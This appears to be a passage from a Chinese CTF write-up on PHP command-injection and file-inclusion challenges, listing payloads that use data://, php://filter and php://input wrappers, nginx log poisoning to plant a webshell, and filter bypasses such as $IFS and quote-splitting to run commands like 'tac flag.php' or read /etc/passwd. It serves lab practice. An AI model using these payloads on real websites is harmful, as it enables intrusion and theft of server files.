解法10、利用文件包含
①?c=include$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php');?>
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
②?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
③首先我们可以用BP进行抓包,把?file=php://input输入到链接后刷新抓包,然后再BP中修改发包方式为POST,然后在下面输入<?php system('tac flag.php');?>,就可以获取到flag了
?c=include$_GET[1]?>&1=php://input
④?c=include$_GET[1]?>&1=/var/log/nginx/access.log,进入日志文件,添加UA头,然后用蚁剑连接
二、过滤字符
空格可以利用%20,%09,
“;”可以利用?>来代替
使用" || " " & " " && " 分隔 /dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显 ; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行
过滤了分号和cat,可以用||和&来代替分号,tac代替cat
可构造playload: url/?c=tac flag.php|| url/?c=tac flag.php%26 注意,这里的&需要url编码
还有一种方法是nl flag.php+%26或%0a也就是换行符
空格可以用<、<>、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS、{cat,/etc/passwd}、%0a(回车)代替,然后可以使用“\”这个符号来分隔字母类的
1
2
c''at${IFS}fla''g.p''hp
?c=ca\t${IFS}fla\g.ph\p
这种题目可以先扫目录,然后再寻找文件,然后把文件带出来
1
1
2
3
4
5
6
7
8
scandir查看目录 ->用前几题的方法获取flag
查看根目录内容
c=print_r(scandir("/"));
查看文件内容
POST传参:c=highlight_file("/flag.txt");
POST传参:c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=/flag.txt
2
1
c=show_source('flag.php');